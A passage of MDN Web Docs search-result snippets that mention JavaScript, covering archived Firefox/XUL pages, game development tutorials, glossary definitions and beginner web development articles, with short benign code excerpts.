...xml, and we wanted users to be able to install it from http://people.mozilla.com/~myk/micro...ial/index.html, we might add the following code to the index.html page: <button onclick="window.sidebar.addmicrosummarygenerator('http://people.mozilla.com/~myk/microsummaries/tutorial/sfx-generator.xml')">install the spread firefox home page microsummary!</button> clicking that button will generate a javascript error on browsers that don't support microsummaries, however, so to improve the experience for those users, we should check to see if the user is using a microsummaries-enabled browser and display an explanatory message if not.
Getting Started - Archive of obsolete content
triggering the install from the web to install your jar file directly from the web, you need to run some javascript.
... <a href="javascript:installtrigger.installchrome(installtrigger.skin, 'myskin.jar', 'my skin theme')">install my skin</a> if you have jar files on your hard drive and would like to install them, then download/use this form.
Creating a Skin for Firefox/Getting Started - Archive of obsolete content
once you have put the files in the zip folder, rename it to my_theme.jar triggering the install from the web to install the theme's jar file directly from the web, you need to run some javascript.
... <a href='javascript:installtrigger.installchrome(installtrigger.skin, "myskin.jar", "my skin theme")'>install my skin</a> if you have jar files on your hard drive and would like to install them, then download/use this form.
DTrace - Archive of obsolete content
optimizing javascript with dtrace a guide on profiling javascript code using dtrace.
... community dtrace forums #dtrace on irc.freenode.org sun's dtrace howto guide tools nightly trunk builds for solaris dtracetoolkit related topics javascript ...
Dehydra - Archive of obsolete content
it presented a wealth of semantic information that can be queried with concise javascripts.
... dehydra object reference javascript objects and properties provided by dehydra.
Firefox Sync - Archive of obsolete content
it exists as a core javascript module providing generic functionality and ui components for each product.
...related info javascript client api (useful for interacting with sync from mozilla applications, including developing extensions against sync) syncing custom preferences (useful for extension developers) code snippets (demonstrates common actions with the javascript api) ...
Creating a Help Content Pack - Archive of obsolete content
viewing your content pack in the help viewer to launch the help viewer with your content pack, you need to have chrome://help/content/contexthelp.js loaded into the xul file that provides the ui to open the help viewer: <script type="application/javascript" src="chrome://help/content/contexthelp.js"/> this will allow you to access all of the viewer functions.
...it's exactly the same as any javascript command, you you can insert it in command elements, oncommand attributes, and other such places.
Metro browser chrome tests - Archive of obsolete content
the metro browser chrome test suite is an automated testing framework designed to allow testing of the immersive version of firefox for windows 8 and above using javascript.
... it currently allows you to run javascript code in the same scope as the immersive browser and report results using the same functions as the mochitest test framework.
Monitoring downloads - Archive of obsolete content
note that the start time is being divided by 1000 before we create a javascript date object from it.
... that's to adjust the value from the granularity stored in the database to that expected by javascript.
Mozilla Application Framework - Archive of obsolete content
tools venkman a javascript debugger with support for breakpoints, conditional breakpoints, local variable inspection, watch variables, single step, stop on error, profile data collection, report generation, code reformatting (pretty printing), and more.
... you can build simple but powerful mozilla-based applications using just javascript and xul.
PyDOM - Archive of obsolete content
this allows you to use python code (almost) anywhere you can use javascript.
...using python ideally, you just tell mozilla you are using python, and magically you can use python instead of javascript.
Table Layout Regression Tests - Archive of obsolete content
="0 0 4 -1 1 " /> <tableborder data="1 null null 0 2 " /> <content data="0 0 0 null " /> <quotes data="0 " /> <ui data="3 0 0 1 " /> <uireset data="7 0 4" /> <xul data="0 0 0 0 0 1 <svg data="0 1.000000 1.000000 0 1.000000" /> </stylecontext> the baseline log will look like: type manifest file: e:\moz_src\mozilla\obj-i586-pc-msvc\dist\bin\components\xpti.dat +++ javascript debugging hooks installed.
...a typical part of the verify log would look like: type manifest file: e:\moz_src\mozilla\obj-i586-pc-msvc\dist\bin\components\xpti.dat +++ javascript debugging hooks installed.
Venkman Internals - Archive of obsolete content
sometimes the source has small ticks in the margin for every executable line in my javascript.
...for example, framerecord represents a javascript stack frame.
Using Breakpoints in Venkman - Archive of obsolete content
this article describes breakpoints in javascript and how to use venkman to set and examine breakpoints.
... basic breakpoints the stop button and debugger keyword are useful features of the javascript debugger, but when you are debugging deep in code—especially code you have authored yourself and are responsible for troubleshooting—you're going to need breakpoints.
Writing textual data - Archive of obsolete content
os.close(); you can also write character arrays using the write function, although using writestring is simpler from javascript code.
... alternative ways usable from javascript do not support character encodings that use embedded nulls (such as utf-16 and utf-32).
Example Sticky Notes - Archive of obsolete content
ffffff" stroke-width="1px"> <svg:circle cx="25px" cy="12px" r="12" fill="#ff0000" transform="translate(0,0)"/> <svg:circle cx="25px" cy="12px" r="12" fill="#00ff00" transform="translate(7,12)"/> <svg:circle cx="25px" cy="12px" r="12" fill="#0000ff" transform="translate(-7,12)"/> </svg:g> </svg:svg> <children/> </content> <implementation> <!-- here and futher cdata wrappers around javascript code are not mandatory but recommended.
... * within this block the content is interpreted * as javascript code.
loadResources - Archive of obsolete content
returns a javascript object whose property names are the keys from that file and whose values are the strings.
... the following lines retrieve the properties as a javascript object and make the values accessible with the familiar "dot property" syntax: reseg2obj = loadresources("bin/res_eg_2.properties"); dump( reseg2obj.title ) ...
XTech 2006 Presentations - Archive of obsolete content
javascript 2 and the future of the web - brendan eich javascript 2 will be finalised in 2007.
...work on this compiler and the new features of js2 is presented by the inventor of javascript.
Dynamically modifying XUL-based user interface - Archive of obsolete content
we assume that the reader has basic knowledge of both xul and javascript.
...in xul applications javascript defines the behavior, using dom apis to access the xul document.
Index - Archive of obsolete content
ArchiveMozillaXULIndex
436 index found 1218 pages: 437 international characters in xul javascript firefox, gecko, guide, internationalization, javascript, mozilla, xpcom, xul gecko 1.8, as used in firefox 1.5 and other applications, added support for non-ascii characters in javascript files loaded from xul files.
... 892 sorting and filtering a custom tree view this is example code for sorting and filtering a custom tree view, that is, a tree whose values are loaded via javascript.
appendNotification - Archive of obsolete content
eventcallback optional - a javascript function to call to notify you of interesting things that happen with the notification box.
... notification box events requires gecko 9.0(firefox 9.0 / thunderbird 9.0 / seamonkey 2.6) if you specify the eventcallback parameter, it should be a javascript function that gets called when interesting things happen related to the notification box.
Providing Command-Line Options - Archive of obsolete content
see also: xulrunner:commandline overview the code below is an example of writing a javascript xpcom component to handle command line parameters.
...e commandline.js file into the components directory and add the following lines to your chrome.manifest file: component {2991c315-b871-42cd-b33f-bfee4fcbf682} components/commandline.js contract @mozilla.org/commandlinehandler/general-startup;1?type=myapp {2991c315-b871-42cd-b33f-bfee4fcbf682} category command-line-handler m-myapp @mozilla.org/commandlinehandler/general-startup;1?type=myapp the javascript code const cc = components.classes; const ci = components.interfaces; components.utils.import("resource://gre/modules/xpcomutils.jsm"); components.utils.import("resource://gre/modules/services.jsm"); // changeme: to the chrome uri of your extension or application const chrome_uri = "chrome://myapp/content/"; /** * utility functions */ /** * opens a chrome window.
Sorting and filtering a custom tree view - Archive of obsolete content
this is example code for sorting and filtering a custom tree view, that is, a tree whose values are loaded via javascript.
...sort.xul <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <!doctype window> <window title="sorting a custom tree view example" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" onload="init()"> <script type="application/javascript" src="sort.js"/> <hbox align="center" id="search-box"> <label accesskey="f" control="filter">filter</label> <textbox id="filter" oninput="inputfilter(event)" flex="1"/> <button id="clearfilter" oncommand="clearfilter()" label="clear" accesskey="c" disabled="true"/> </hbox> <tree id="tree" flex="1" persist="sortdirection sortresource" sortdirection="ascending" sortresource="description"...
Template Guide - Archive of obsolete content
l condition tests multiple queries using multiple queries to generate more results building trees with templates building trees building hierarchical trees template modifications template builder interface template and tree listeners rdf modifications additional topics sorting results additional template attributes template logging xml namespaces alternative approaches javascript templates xuljsdatasource: a component for extensions, which bring a "javascript template syntax".
... it allows to use javascript objects as a data source for xul templates.
Adding Methods to XBL-defined Elements - Archive of obsolete content
for example, the following javascript function would be written as an xbl method like so: function getmaximum(num1,num2) { if (num1 <= num2) return num2; else return num1; } xbl: <method name="getmaximum"> <parameter name="num1"/> <parameter name="num2"/> <body> if (num1 &lt;= num2) return num2; else return num1; </body> </method> this function, getmaximum, returns the largest of the values, each passed as a p...
...because mozilla uses javascript as its scripting language, and javascript is a non-typed language, you do not need to specify the types of the parameters.
Manifest Files - Archive of obsolete content
in javascript, it is possible for a web page to override built-in functions with their own code.
...it is also possible to use a install script written in javascript to install files.
Using Visual Studio as your XUL IDE - Archive of obsolete content
visual assist and file extensions since version 10.5, visual assist supports javascript and xml.
...5.3 javascript related you will get validation errors for javascript code whenever using the keywords "const" and "let".
XUL Coding Style Guidelines - Archive of obsolete content
it could contain xul specific element types for ui controls, html4 markups for content data, and even javascript for user event handling.
...javascript code shall be moved out of xul.
textbox - Archive of obsolete content
a workaround using javascript and the onkeypress event handler as shown in abstract below may be your solution.
... the xul script: <textbox id="pnnote" multiline="true" rows="2" cols="70" onkeypress="return pncountnotechars(event);"/> the javascript: function pncountnotechars(evt) { //allow non character keys (delete, backspace and and etc.) if ((evt.charcode == 0) && (evt.keycode != 13)) return true; if (evt.target.value.length < 10) { return true; } else { return false; } } related interfaces nsiaccessibleprovider, nsidomxultextboxelement ...
XUL - Archive of obsolete content
ul online live editor (copy & paste snippets from here and run them) xul explorer (a lightweight xul ide) xulexplorer (patched version of xul explorer) extension developer's extension (featuring a live xul editor) xulref sidebar firebug dom inspector spket ide, ide for xul/xbl ample sdk, (cross-browser xul renderer in javascript/html) view all...
... related topics javascript, xbl , css, rdf, extensions, xulrunner ...
2006-11-10 - Archive of obsolete content
harry is looking for help with create thread in javascript using nsithread.
... he wants to know how to create new threads using javascript for background download operations.
2006-11-03 - Archive of obsolete content
announcements developer chat with javascript developer brendan eich on tuesday, november 7th at 10am pst (utc-8) brendan eich and some special guests will be hosting a developer chat about new technologies comming to mozilla 2.
... the event will be held on the irc server irc.mozilla.org in the channel #javascript.
JS-Engine FAQ - Archive of obsolete content
to write wrappers in pure javascript to interface with any c library on the system there are mechanisms such as xpcshell, wxjs, jsdb, jsni coding spidermonkey in c check out this tutorial how to compile tamarin on linux/x86 there is a patch that allows you to compile it.
... how to compile javascript into java invoking compiler: java org.mozilla.javascript.tools.jsc.main [options] file1.js [file2.js...] this results in a class file.
External resources for plugin creation - Archive of obsolete content
feature highlights include thread safety checks, unicode support (with std::wstring), activex support, built-in drawing model negotiation for mac, automatic type conversion (including javascript arrays and objects), advanced security features, and more.
...project: nixysa project home page description (from the home page): nixysa is a framework written in python to automatically generate glue code for npapi plugins (plugins for browsers such as google chrome or firefox), letting you easily expose c++ classes to javascript from a simple idl representation.
NPN_SetValue - Archive of obsolete content
variable values the function can set: nppvpluginwindowbool: sets windowed/windowless mode for plugin display; true=windowed, false=windowless nppvplugintransparentbool: sets transparent mode for display of a plugin; true=transparent, false=opaque nppvjavaclass nppvpluginwindowsize nppvplugintimerinterval nppvpluginscriptableinstance nppvpluginscriptableiid nppvjavascriptpushcallerbool: specifies whether you are pushing or popping the jscontext off the stack nppvpluginkeeplibraryinmemory: tells browser that the plugin dll should live longer than usual nppvpluginneedsxembed nppvpluginscriptablenpobject nppvformvalue nppvplugindrawingmodel value the value of the specified variable to be set.
... nppvjavascriptpushcallerbool sets whether you are pushing or popping the appropriate jscontext off the stack (see the two-way scriptability article on the mozilla plugins project page for more details).
Introduction to Public-Key Cryptography - Archive of obsolete content
the "objects" signed with object signing technology can be applets or other java code, javascript scripts, plug-ins, or any kind of file.
...used to identify signers of java code, javascript scripts, or other signed files.
Using Firebug and jQuery (Screencast) - Archive of obsolete content
we're going to take an introductory look at the firebug firefox extension and the jquery javascript library - combining the two to build a reusable bookmarklet that can manipulate digg posts and comments.
... related links: firebug firefox extension jquery javascript library jquery selector documentation digg learning jquery: jquerify bookmarklet if you wish to use greasemonkey instead of a bookmarklet, then by all means, please do so.
References - Archive of obsolete content
r connection mozilla web author faq from henri sivonen making your web page compatible with mozilla from nicolás lichtmaier complete css guide from westciv.com css lessons and tutorials from alsacreations html and css lessons and tutorials from htmldog.com preparing for standard-compliant browsers, part 1 from makiko itoh preparing for standard-compliant browsers, part 2 from makiko itoh javascript best practices lists 15 of the most frequent coding practices which create problems for javascript and dhtml-driven webpages.
... the webpage explains and proposes with small examples the best coding practices and most recommendable ways of developing problem-free javascript code.
-ms-scroll-translation - Archive of obsolete content
if your javascript is listening for scroll wheel document object model (dom) events, the events that occur when the user scrolls vertically will always be vertical scroll events, not horizontal scroll events.
... the default css templates for windows apps using javascript, "ui-light.css" and "ui-dark.css", set this property to vertical-to-horizontal by default on the <html> element.
Expression closures - Archive of obsolete content
javascript 1.7 and older: function(x) { return x * x; } javascript 1.8: function(x) x * x this syntax allows you to leave off the braces and 'return' statement - making them implicit.
... examples a shorthand for binding event listeners: document.addeventlistener('click', function() false, true); using this notation with some of the array functions from javascript 1.6: elems.some(function(elem) elem.type == 'text'); ...
@set - Archive of obsolete content
syntax @set @varname = term parameters varname valid javascript variable name.
...variables created using @set are generally used in conditional compilation statements, but can be used anywhere in javascript code.
Object.prototype.eval() - Archive of obsolete content
the object.eval() method used to evaluate a string of javascript code in the context of an object, however, this method has been removed.
... syntax obj.eval(string) parameters string any string representing a javascript expression, statement, or sequence of statements.
Window.importDialog() - Archive of obsolete content
aarguments a javascript object containing data to pass to the dialog.
...because of this, element id and javascript conflicts are possible, just like overlays.
XForms Custom Controls - Archive of obsolete content
to really grasp the following information, a good understanding of xforms, xbl, javascript and css is needed.
...to get started, you really only need to know the language where you'd like to use xforms (like xhtml or xul), some xbl and javascript, and the xpcom interfaces we are exposing for your use.
Troubleshooting XForms Forms - Archive of obsolete content
always check the javascript console (tools, javascript console) for errors.
...there will be an error on the javascript console if it is not.
Requests For Enhancement - Archive of obsolete content
ArchiveWebXFormsRFE
custom controls i think that xforms is a great way to show that 14 year old html hacks can build really powerful web apps and reduce the need for javascript by 90%.
... now we need to start teaching xforms to web newcomers before they are brainwashed into believing that the only way to build cool web apps is to do dom surgery with javascript!
RDF in Mozilla FAQ - Archive of obsolete content
using this api and javascript's settimeout(), one could set up a polling loop that would continually check the loaded property.
... in order to take advantage of this functionality, you must of course be able to express your information in terms of the rdf datasource api, either by using the built-in memory datasource, using rdf/xml to store your information, or writing your own implementation (possibly in javascript) of nsirdfdatasource.
Game distribution - Game development
tizen is also putting a high value on supporting apps written in javascript.
... phonegap — based on cordova, this is the most popular tool for building/packaging javascript apps for native platforms.
2D collision detection - Game development
green means collision, blue means no collision.</p> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crafty/0.5.4/crafty-min.js"></script> crafty.init(200, 200); var dim1 = {x: 5, y: 5, w: 50, h: 50} var dim2 = {x: 20, y: 10, w: 60, h: 40} var rect1 = crafty.e("2d, canvas, color").attr(dim1).color("red"); var rect2 = crafty.e("2d, canvas, color, keyboard, fourway").fourway(2).attr(dim2).color("blue"); rect2.bind("enterframe", function () { i...
...green means collision, blue means no collision.</p> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crafty/0.5.4/crafty-min.js"></script> #cr-stage { position: static !important; height: 200px !important; } crafty.init(200, 200); var dim1 = {x: 5, y: 5} var dim2 = {x: 20, y: 20} crafty.c("circle", { circle: function(radius, color) { this.radius = radius; this.w = this.h = radius * 2; this.color = color || "#00...
Building up a basic demo with Babylon.js - Game development
in this article we'll take you through the real basics of using babylon.js, including setting up a development environment, structuring the necessary html, and writing the javascript code.
...l use: <!doctype html> <html> <head> <meta charset="utf-8"> <title>mdn games: babylon.js demo</title> <style> html,body,canvas { margin: 0; padding: 0; width: 100%; height: 100%; font-size: 0; } </style> </head> <body> <script src="babylon.js"></script> <canvas id="render-canvas"></canvas> <script> var canvas = document.getelementbyid("render-canvas"); /* all our javascript code goes here */ </script> </body> </html> it contains some basic information like the document <title>, and some css to set the width and height of the <canvas> element (which babylon.js will use to render the content on) to fill the entire available viewport space.
Building up a basic demo with the PlayCanvas engine - Game development
ctype html> <html> <head> <meta charset="utf-8"> <title>mdn games: playcanvas demo</title> <style> body { margin: 0; padding: 0; } canvas { width: 100%; height: 100%; } </style> </head> <body> <script src="playcanvas-latest.js"></script> <canvas id="application-canvas"></canvas> <script> var canvas = document.getelementbyid("application-canvas"); /* all our javascript code goes here */ </script> </body> </html> it contains some basic information like the document <title>, and some css to set the width and height of the <canvas> element that playcanvas will use to 100% so that it will fill the entire available viewport space.
... cylinder add the following lines at the bottom of your javascript code: var cylinder = new pc.entity(); cylinder.addcomponent("model", { type: "cylinder" }); app.root.addchild(cylinder); cylinder.rotate(15, 0, 0); this looks very similar to the code we used for creating a cube, but instead of the box component we are adding a cylinder.
Building up a basic demo with Three.js - Game development
html structure here's the html structure we will use: <!doctype html> <html> <head> <meta charset="utf-8"> <title>mdn games: three.js demo</title> <style> body { margin: 0; padding: 0; } canvas { width: 100%; height: 100%; } </style> </head> <body> <script src="three.min.js"></script> <script> var width = window.innerwidth; var height = window.innerheight; /* all our javascript code goes here */ </script> </body> </html> it contains some basic information like the document <title>, and some css to set the width and height of the <canvas> element, that three.js will insert on the page to 100% to fill the entire available viewport space.
... add this code into our second <script> element, just below the javascript comment.
WebVR — Virtual Reality for the Web - Game development
the concept of virtual reality in itself isn't new, but now we have the technology to have it working as it should be, and a javascript api to make use of it in web applications.
... the future of webvr it's happening — consumer devices are reaching the market right now, and we already have javascript apis to support them on the web.
Implementing controls using the Gamepad API - Game development
the gamepad api achieves this by providing an interface exposing button presses and axis changes that can be used inside javascript code to handle the input.
... demo the full version of the hungry fridge game was built first, and then to showcase the gamepad api in action and show the javascript source code, a simple demo was created.
Techniques for game development - Game development
using async scripts for asm.js especially when creating medium to large-sized games, async scripts are an essential technique to take advantage of, so that your game's javascript can be compiled off the main thread and be cached for future game running, resulting in a significant performance improvement for your users.
...we touch on css transitions and css animations, and javascript loops involving window.requestanimationframe.
Move the ball - Game development
you can run a function over and over again using a javascript timing function such as setinterval() or requestanimationframe().
... delete all the javascript you currently have inside your html file except for the first two lines, and add the following below them.
Load the assets and print them on screen - Game development
having a ball let's start by creating a javascript variable to represent our ball.
... loading the ball sprite loading images and printing them on our canvas is a lot easier using phaser than using pure javascript.
Visual-js game engine - Game development
full name : visual-js gui for windows multiplatform 2d game engine creator : nikola lukic 2017 2018 open source visual-js project parts : -2d part : this is javascript game engine (server part node.js / client part js) js framework with windows gui editor and game instance creator.
...http://creativecommons.org/licenses/by-nc-sa/3.0/ download from : https://www.adobe.com/devnet/archive/html5/articles/javascript-motion-detection.html webrtc - webcam communication is under : creator muaz khan www.muazkhan.com mit license - www.webrtc-experiment.com/licence socket.io.js - http://socket.io/download/ ( also implemented intro build.js ) webgl2 based on : copyright (c) 2014 tappali ekanathan keestu (keestu@gmail.com) gnu general public license obj loader : https://github.com/frenc...
Visual JS GE - Game development
the server is based on node.js vs mysql, the client made in four variant on a javascript frameworks for 2d canvas js , three.js , webgl2 vs glmatrix and 2d canvas with matter.js in typescript to complete the stack.
... scriptingjs.exe — based on javascriptobfuscator.com api.
Game development
note: creating games on the web draws on a number of core web technologies such as html, css, and javascript.
... port native games to the web if you are a native developer (for example writing games in c++), and you are interested in how you can port your games over to the web, you should learn more about our emscripten tool — this is an llvm to javascript compiler, which takes llvm bytecode (e.g.
Plug-in Development Overview - Gecko Plugin API Reference
making plug-ins scriptable scriptable plug-ins are plug-ins that have been extended to provide methods that can be called from javascript and the dom when accessed through the object or embed element.
... consider the following example, where a media player plug-in can be controlled with an advancetonextsong() method called inside the script element: <object id="myplugin" type="audio/wav" data="music.wav"> </object> <script type="application/javascript"> var theplugin = document.getelementbyid('myplugin'); if (theplugin && theplugin.advancetonextsong) theplugin.advancetonextsong(); else alert("plugin not installed correctly"); </script> in the past, liveconnect and later xpconnect were used to make plug-ins scriptable.
Ajax - MDN Web Docs Glossary: Definitions of Web-related terms
ajax, which initially stood for asynchronous javascript and xml, is a programming practice of building complex, dynamic webpages using a technology known as xmlhttprequest.
... with interactive websites and modern web standards, ajax is gradually being replaced by functions within javascript frameworks and the official fetch api standard.
Asynchronous - MDN Web Docs Glossary: Definitions of Web-related terms
for example, the ajax (asynchronous javascript and xml) programming technique—now usually simply "ajax", even though json is usually used rather than xml in modern applications—is a mechanism that requests relatively small amounts of data from the server using http, with the result being returned when available rather than immediately.
...see the article asynchronous javascript for an introduction to them.
BigInt - MDN Web Docs Glossary: Definitions of Web-related terms
in javascript, bigint is a numeric data type that can represent integers in the arbitrary precision format.
... learn more general knowledge numeric types on wikipedia technical reference the javascript data structure: bigint the javascript global object bigint ...
Block (scripting) - MDN Web Docs Glossary: Definitions of Web-related terms
in javascript, a block is a collection of related statements enclosed in braces ("{}").
... learn more learn about it javascript block statement ...
Compile - MDN Web Docs Glossary: Definitions of Web-related terms
some compilers which translate between similar level languages are called transpilers or cross-compilers, for instance to compile from typescript to javascript.
...for instance in the browser: firefox' spidermonkey javascript engine has a jit built-in that will compile javascript in a website to machine code while you're viewing it so it runs faster.
Control flow - MDN Web Docs Glossary: Definitions of Web-related terms
to do this, the script uses a conditional structure or if...else, so that different code executes depending on whether the form is complete or not: if (field==empty) { promptuser(); } else { submitform(); } a typical script in javascript or php (and the like) includes many control structures, including conditionals, loops and functions.
... learn more general knowledge control flow on wikipedia technical reference javascript reference - control flow on mdn learn about it statements (control flow) on mdn ...
Dynamic typing - MDN Web Docs Glossary: Definitions of Web-related terms
dynamically-typed languages are those (like javascript) where the interpreter assigns variables a type at runtime based on the variable's value at the time.
... learn more learn about it javascript data types and data structures general knowledge type system on wikipedia ...
Engine - MDN Web Docs Glossary: Definitions of Web-related terms
the javascript engine is an interpreter that parses and executes a javascript program.
... learn more general knowledge javascript engine on wikipedia ...
First input delay - MDN Web Docs Glossary: Definitions of Web-related terms
when they click a link, tap on a button, or use a custom, javascript-powered control) to the time when the browser is actually able to respond to that interaction.
... the time between when content is painted to the page and when all the functionality becomes responsive to human interaction often varies based on the the size and complexity of the javascript needing to be downloaded, parsed, and executed on the main thread, and on the device speed or lack thereof (think low end mobile devices).
Gecko - MDN Web Docs Glossary: Definitions of Web-related terms
web browsers need software called a layout engine to interpret html, css, javascript, and embedded content (like images) and draw everything to your screen.
...this means that gecko includes, among other things, a networking stack, graphics stack, layout engine, a javascript virtual machine, and porting layers.
Global object - MDN Web Docs Glossary: Definitions of Web-related terms
in javascript, there's always a global object defined.
...this is the vast majority of javascript code on the web.
Global scope - MDN Web Docs Glossary: Definitions of Web-related terms
in client-side javascript, the global scope is generally the web page inside which all the code is being executed.
... learn more learn about it introduction to variable scope in javascript scope on wikipedia ...
Houdini - MDN Web Docs Glossary: Definitions of Web-related terms
while many of the features houdini enables can be created with javascript, interacting directly with the cssom before javascript is enabled provides for faster parse times.
... browsers create the cssom — including layout, paint, and composite processes — before applying any style updates found in scripts: layout, paint, and composite processes are repeated for updated javascript styles to be implemented.
IIFE - MDN Web Docs Glossary: Definitions of Web-related terms
an iife (immediately invoked function expression) is a javascript function that runs as soon as it is defined.
... the second part creates the immediately invoked function expression () through which the javascript engine will directly interpret the function.
Identifier - MDN Web Docs Glossary: Definitions of Web-related terms
in javascript, identifiers are case-sensitive and can contain unicode letters, $, _, and digits (0-9), but may not start with a digit.
...in javascript, there is no way to convert identifiers to strings, but sometimes it is possible to parse strings into identifiers.
Method - MDN Web Docs Glossary: Definitions of Web-related terms
note: in javascript functions themselves are objects, so, in that context, a method is actually an object reference to a function.
... learn more learn about it method (computer programming) in wikipedia defining a method in javascript (comparison of the traditional syntax and the new shorthand) technical reference list of javascript built-in methods ...
NaN - MDN Web Docs Glossary: Definitions of Web-related terms
practically speaking, if i divide two variables in a javascript program, the result may be nan, which is predefined in javascript as "undefined".
... learn more general knowledge nan on wikipedia technical information nan in javascript ...
Number - MDN Web Docs Glossary: Definitions of Web-related terms
in javascript, number is a numeric data type in the double-precision 64-bit floating point format (ieee 754).
... learn more general knowledge numeric types on wikipedia technical reference the javascript data structure: number the javascript global object number ...
OOP - MDN Web Docs Glossary: Definitions of Web-related terms
javascript is heavily object-oriented.
... learn more general knowledge object-oriented programming on wikipedia introduction to object-oriented javascript ...
Object - MDN Web Docs Glossary: Definitions of Web-related terms
javascript, java, c++, python, and ruby are examples of object-oriented programming languages.
... learn more general knowledge object-oriented programming on wikipedia object in the javascript reference object data structures in javascript ...
Operator - MDN Web Docs Glossary: Definitions of Web-related terms
for example, in javascript the addition operator ("+") adds numbers together and concatenates strings, whereas the "not" operator ("!") negates an expression — for example making a true statement return false.
... learn more general knowledge operator (computer programming) on wikipedia technical reference javascript operators ...
Regular expression - MDN Web Docs Glossary: Definitions of Web-related terms
on the web, javascript provides another regex implementation through the regexp object.
... learn more general knowledge regular expressions on wikipedia interactive tutorial visualized regular expression technical reference writing regular expressions in javascript ...
Signature (functions) - MDN Web Docs Glossary: Definitions of Web-related terms
in depth signatures in javascript javascript is a loosely typed or a dynamic language.
...a signature in javascript can still give you some information about the method: myobject.prototype.myfunction(value) the method is installed on an object called myobject.
String - MDN Web Docs Glossary: Definitions of Web-related terms
in javascript, a string is one of the primitive values and the string object is a wrapper around a string primitive.
... learn more general knowledge string (computer science) on wikipedia javascript data types and data structures ...
Syntax - MDN Web Docs Glossary: Definitions of Web-related terms
syntax varies from language to language (e.g., syntax is different in html and javascript).
... although languages can share few similarities in terms of their syntaxes for example "operand operator operand" rule in javascript and python.
Type coercion - MDN Web Docs Glossary: Definitions of Web-related terms
examples const value1 = '5'; const value2 = 9; let sum = value1 + value2; console.log(sum); in the above example, javascript has coerced the 9 from a number into a string and then concatenated the two values together, resulting in a string of 59.
... javascript had a choice between a string or a number and decided to use a string.
Whitespace - MDN Web Docs Glossary: Definitions of Web-related terms
they are often used to separate tokens in html, css, javascript, and other computer languages.
... in javascript ecmascript® 2015 language specification specifies several unicode codepoints as white space: u+0009 character tabulation <tab>, u+000b line tabulation <vt>, u+000c form feed <ff>, u+0020 space <sp>, u+00a0 no-break space <nbsp>, u+feff zero width no-break space <zwnbsp> and other category “zs” any other unicode “separator, space” code point <usp>.
privileged code - MDN Web Docs Glossary: Definitions of Web-related terms
privileged code - javascript code of your extension.
... non-privileged - javascript on web-page.
MDN Web Docs Glossary: Definitions of Web-related terms
ife imap immutable index indexeddb information architecture inheritance input method editor instance internationalization internet intrinsic size ip address ipv4 ipv6 irc iso isp itu j jank java javascript jpeg jquery json k key keyword l latency layout viewport lazy load lgpl ligature local scope local variable locale localization long task loop lossless compression lossy compression ltr (left to r...
...ceholder names plaintext png polyfill polymorphism pop3 port prefetch preflight request prerender presto primitive privileged privileged code progressive enhancement progressive web apps promise property property (css) property (javascript) protocol prototype prototype-based programming proxy server pseudo-class pseudo-element pseudocode public-key cryptography python q quality values quaternion quic r rail random number generator raster image rdf re...
About Scriptable Interfaces - Interfaces
when we label an interface as scriptable, we're saying that components exporting this interface can be referenced (through this interface) from scripts (e.g javascript), and that we can write new components implementing the interface using script languages.
... xpconnect xpconnect is a technology that allows scriptable interfaces to be used/implemented from/in javascript scripts.
Mobile accessibility - Learn web development
prerequisites: basic computer literacy, a basic understanding of html, css, and javascript, and an understanding of the previous articles in the course.
... control mechanisms in our css and javascript accessibility article, we looked at the idea of events that are specific to a certain type of control mechanism (see mouse-specific events).
What is accessibility? - Learn web development
accessibility apis web browsers make use of special accessibility apis (provided by the underlying operating system) that expose information useful for assistive technologies (ats) — ats mostly tend to make use of semantic information, so this information doesn't include things like styling information, or javascript.
... html: a good basis for accessibility css and javascript accessibility best practices wai-aria basics accessible multimedia mobile accessibility accessibility troubleshooting see also wcag perceivable operable understandable robust ...
Responsive design - Learn web development
this approach required javascript to detect the screen resolution and load the correct css.
...media queries enable the type of layout switch that cameron adams had previously explored using javascript, using only css.
What text editors are available? - Learn web development
that works great for writing notes to yourself, but when you're doing web development and writing in html, css, and javascript, you can produce some pretty large, complex files.
...make sure in particular that your text editor supports highlighting for html, css, and javascript.
How do you make sure your website works properly? - Learn web development
javascript errors someone (possibly you) added a script to the page and made a mistake.
... open the console (tools ➤ web developer ➤ web console) and reload the page: in this example, we learn (quite clearly) what the error is, and we can go fix it (we will cover javascript in another series of articles).
How much does it cost to do something on the Web? - Learn web development
if you're only writing simple html, css, and javascript, go with a simple editor.
... isp access make sure that you have sufficient bandwidth: low-bandwidth access may be adequate to support a 'simple' website: reasonably-sized images, texts, some css and javascript.
What is a web server? - Learn web development
(for example, html documents, images, css stylesheets, and javascript files) a web server connects to the internet and supports physical data interchange with other devices connected to the web.
... hosting files first, a web server has to store the website's files, namely all html documents and their related assets, including images, css stylesheets, javascript files, fonts, and video.
How do you set up a local testing server? - Learn web development
running server-side languages locally python's simplehttpserver (python 2.0) http.server (python 3.0) module is useful, but it doesn't know how to run code written in languages such as python, php or javascript.
... to run node.js (javascript) server-side code, you'll need to use raw node or a framework built on top of it.
Common questions - Learn web development
this set of articles shows you how to use the developer tools in firefox to debug and improve performance of your website, using the tools to check memory usage, the javascript call tree, the number of dom nodes being rendered, and more.
... html, css and javascript questions for common solutions to html/css/javascript problems, try the following articles: use html to solve common problems use css to solve common problems use javascript to solve common problems ...
Other form controls - Learn web development
note that even though you can put anything inside a <textarea> element (including other html elements, css, and javascript), because of its nature, it is all rendered as if it was plain text content.
... previous overview: forms next in this module your first form how to structure a web form basic native form controls the html5 input types other form controls styling web forms advanced form styling ui pseudo-classes client-side form validation sending form data advanced topics how to build custom form controls sending forms through javascript property compatibility table for form widgets ...
Styling web forms - Learn web development
if you want to thoroughly customize those widgets, you really have to create your own using html, css, and javascript.
... previous overview: forms next in this module your first form how to structure a web form basic native form controls the html5 input types other form controls styling web forms advanced form styling ui pseudo-classes client-side form validation sending form data advanced topics how to build custom form controls sending forms through javascript property compatibility table for form widgets ...
Your first form - Learn web development
that sounds silly, but it's amazingly useful for building custom buttons — you can define their chosen functionality with javascript.
... overview: forms next in this module your first form how to structure a web form basic native form controls the html5 input types other form controls styling web forms advanced form styling ui pseudo-classes client-side form validation sending form data advanced topics how to build custom form controls sending forms through javascript property compatibility table for form widgets ...
Dealing with files - Learn web development
scripts folder: this folder will contain all the javascript code used to add interactive functionality to your site (e.g.
... dealing with files html basics css basics javascript basics publishing your website how the web works ...
Installing basic software - Learn web development
